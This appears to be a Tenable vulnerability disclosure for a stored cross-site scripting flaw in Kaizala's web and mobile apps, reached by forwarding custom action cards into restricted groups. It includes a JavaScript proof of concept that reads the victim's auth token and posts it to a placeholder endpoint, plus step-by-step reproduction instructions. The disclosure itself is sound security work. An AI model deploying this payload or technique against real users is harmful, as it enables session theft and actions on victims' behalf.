Cross-site Scripting in webapp.kaiza.la and kaizala mobile app

Tenable discovered an issue in webapp.kaiza.la and the kaizala mobile application which allows an attacker to forward custom action cards to private or public groups, even if they do not have permission to send messages or action cards in that group. As custom action cards can execute javascript determined by the attacker, this can result in a stored cross-site scripting payload.

This means that custom actions can theoretically grab a web client user's authorization tokens for webapp.kaiza.la, and exfiltrate / manipulate data for users on the mobile application. It should be noted, that for the mobile application this requires the mobile user to first accept a prompt to trust the custom action (no such prompt existed for webapp.kaiza.la users at the time of reporting).

Normally, custom actions cannot be sent to groups in which the sender is not an admin / in a group which has not added that action, however it is possible to get around this limitation by forwarding the already-sent action from a group in which the attacker is an admin.

More concisely, the steps of this attack are:

1. Attacker uploads a malicious custom action (leaving a malicious javascript payload in the summary view).
2. Attacker sends the action to a group in which they are an admin.
3. Attacker forwards the action to a group in which they cannot send custom actions (like public groups which allow chatting).
4. If a victim clicks the action to view the summary view, the malicious javascript will run (potentially allowing the attacker to perform actions on the victim's behalf or steal the victim's authorization tokens).

Proof of Concept:

Using the simple Announcement action template, an attacker can create a custom action in manage.kaiza.la, which contains malicious javascript which will execute if a user clicks the action, and accepts the dialog options to trust the action card.

A quick example can be achieved by appending the following to the showSummaryPage() function. This payload does different things if the victim is triggering it from the webapp or the mobile app.

• Web app: grabs the user's ac.auth token and browser info and sends it to the listening server, and triggers an alert() box indicating as such.
• Mobile app: Sends the victim's browser client info to the listening server, and triggers an alert using the KASClient library's showAlert function. 

function showSummaryPage() {
            var res = new XMLHttpRequest();
            if (KASClient.getPlatform() == 5) {
                res.open("POST", "https://webapp.kaiza.la/fakeurl");
                res.send(JSON.stringify("ac.auth token ::: " + parent.localStorage.getItem("ac.authToken")) + " Client Info ::: " + JSON.stringify(clientInformation.appVersion));
                alert("Tenable : sent auth Token and client browser info from origin : " + this.parent.location.origin);
            } else {
                res.open("POST", "https://webapp.kaiza.la/fakeurl");
                res.send("Client Info ::: " + JSON.stringify(parent.clientInformation.appVersion));
                KASClient.showAlert("Tenable : sent client info to test domain. This page's origin : " + this.parent.location.origin);
            }

After creating a malicious action:

1. Upload and publish the action to an attacker-controlled group

2. Send the action to the attacker-controlled group

3. Forward the action to a public/private group where you would not otherwise be able to send custom actions/trigger a cross-site scripting vulnerability against other users.